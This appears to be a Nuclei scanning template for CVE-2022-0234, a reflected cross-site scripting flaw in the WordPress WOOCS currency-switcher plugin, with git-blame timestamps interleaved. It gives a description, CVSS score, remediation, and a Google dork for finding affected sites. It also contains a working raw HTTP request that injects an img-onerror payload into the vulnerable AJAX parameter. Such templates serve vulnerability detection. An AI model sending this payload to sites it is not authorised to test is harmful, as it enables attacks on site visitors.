2023-01-10 06:30:24 +00:00
id : CVE-2022-0234
info :
2023-02-01 18:06:57 +00:00
name : WordPress WOOCS < 1.3.7.5 - Cross-Site Scripting
2023-01-10 06:30:24 +00:00
author : Akincibor
severity : medium
description : |
2023-02-01 18:29:47 +00:00
WordPress WOOCS plugin before 1.3.7.5 is susceptible to cross-site scripting. The plugin does not sanitize and escape the woocs_in_order_currency parameter of the woocs_get_products_price_html AJAX action, available to both unauthenticated and authenticated users, before outputting it back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
2023-09-06 11:59:08 +00:00
remediation : |
Update the WordPress WOOCS plugin to version 1.3.7.5 or later to mitigate the XSS vulnerability.
2023-01-10 06:30:24 +00:00
reference :
- https://wpscan.com/vulnerability/fd568a1f-bd51-41bb-960d-f8573b84527b
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0234
2023-01-10 12:47:52 +00:00
- https://plugins.trac.wordpress.org/changeset/2659191
2023-02-01 18:06:57 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-0234
2023-01-10 06:30:24 +00:00
classification :
2023-01-10 12:47:52 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2023-01-10 06:30:24 +00:00
cve-id : CVE-2022-0234
2023-01-10 12:47:52 +00:00
cwe-id : CWE-79
2023-10-14 11:27:55 +00:00
epss-score : 0.001
2024-01-14 13:49:27 +00:00
epss-percentile : 0.40832
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:pluginus:woocs:*:*:*:*:*:wordpress:*:*
2023-01-10 12:28:02 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : pluginus
product : woocs
2023-09-06 11:59:08 +00:00
framework : wordpress
google-query : inurl:"wp-content/plugins/woocommerce-currency-switcher"
2024-01-14 09:21:50 +00:00
tags : cve2022,cve,wpscan,wordpress,wp-plugin,wp,xss,woocs,pluginus
2023-01-10 06:30:24 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-01-10 06:30:24 +00:00
- raw :
- |
2023-01-10 12:28:02 +00:00
GET /wp-admin/admin-ajax.php?action=woocs_get_products_price_html&woocs_in_order_currency=<img%20src%20onerror=alert(document.domain)> HTTP/1.1
2023-01-10 06:30:24 +00:00
Host : {{Hostname}}
matchers-condition : and
matchers :
- type : word
part : body
words :
- '<img src onerror=alert(document.domain)>'
- '"current_currency":'
condition : and
- type : word
part : header
words :
- text/html
- type : status
status :
- 200
2024-01-14 14:05:19 +00:00
# digest: 4b0a00483046022100b0820fb383b305d5a05f33e79872cab6ae5803831f718dabda111deb2ace9dd7022100873c0ddb092bbdce78e36878577326ecdc2a4c6cde9b57b705def90cdef236f2:922c64590222798bb761d5b6d8e72950